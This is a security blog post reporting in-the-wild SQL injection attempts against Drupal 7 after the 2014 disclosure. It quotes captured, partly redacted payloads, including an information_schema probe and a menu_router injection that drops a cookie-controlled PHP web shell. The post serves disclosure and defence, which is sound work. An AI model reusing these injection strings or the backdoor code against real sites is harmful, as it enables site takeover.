Drupal SQL Injection Attempts in the Wild

Less than 48 hours ago, the Drupal team released an update (version 7.32) for a serious security vulnerability (SQL injection) that affected all versions of Drupal 7.x.

In our last post, we talked about the vulnerability and that we expected to see attacks starting very soon due to how severe and easy it was to exploit it. Drupal is one of the most used CMS’s in the world (along with WordPress and Joomla) and millions of sites have it installed (BuiltWith has 783,258 Drupal sites in their database).

When you mix a large number of sites with a simple exploit, the results are not pretty.

Attacks in the Wild

The first attack started 8 hours after the disclosure and tried to hit some of our honeypots with the following SQL Injection attempt. The same IP also tried to attack our own site just after that:

POST /?q=node&destination=node HTTP/1.1″ 403 4123 “sucuri.net” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
name [0%20and%20extractvalue(1, concat(0x5c, (select md5(1122) from
information_schema.tables limit 1)));%23%20%20]=removed&name[0]=removed&pass=removed&

As you can see, this initial attempt wasn’t that malicious and seems like they were just testing to see if we were vulnerable (or maybe testing their tools). Decoding the SQL injection, they were doing a SELECT md5() from the information_schema.tables.

However, a few more hours later we started to see the real attacks attempting to mass compromise Drupal-based sites. The one we are seeing more often actually tries to inject a backdoor into Drupal’s menu_router with the following query:

name=\x22name[0; INSERT INTO `menu_router` (`path`, `load_functions`,
`to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES (‘removed’,
”, ”, ‘removed’, ‘file_put_contents’, 0x613a323a7b693a303b733a32343a226d6f64756c657f6…..6870696e666f28293b223b7d);;# ]

It runs the “INSERT” query into the “menu_router”, passing a call to file_put_contents to insert the following file:

a:2:{i:0;s:24:”modules/trigger/XXX-removed.php”;i:1;s:14:”<?php $form1=@$_COOKIE[“removed”];
if ($form1){ $opt=$form1(@$_COOKIE["removed"]); $au=$form1(@$_COOKIE[“removed”]); 
$opt(“/16/e”,$au,16); } phpinfo();”;}

Which once inserted allows the attacker full shell access to the hacked site (all commands passing by via cookies, which are harder to detect). That has our team very worries that we might see a massive compromise of Drupal sites that have not updated yet.

Other attacks (not very common), are attempts to list all users passwords:

name[0%20and%20extractvalue(1, concat(0x5c, (select

And some more attempts to inject content into menu_router:


And some attempts to inject a new admin user:


As you can see, all very serious attempts and we are seeing many sites vulnerable to it. Are you using Drupal? Have you updated? As we said before, sites behind our Website Firewall are protected against this issue, so if you are concerned about exploits, you can give it a try.

Our security and research team are actively monitoring it and we will keep pushing updates as we learn more.

Read more: Drupal SQL Injection Attempts in the Wild

Story added 17. October 2014, content source with full text you can find at link above.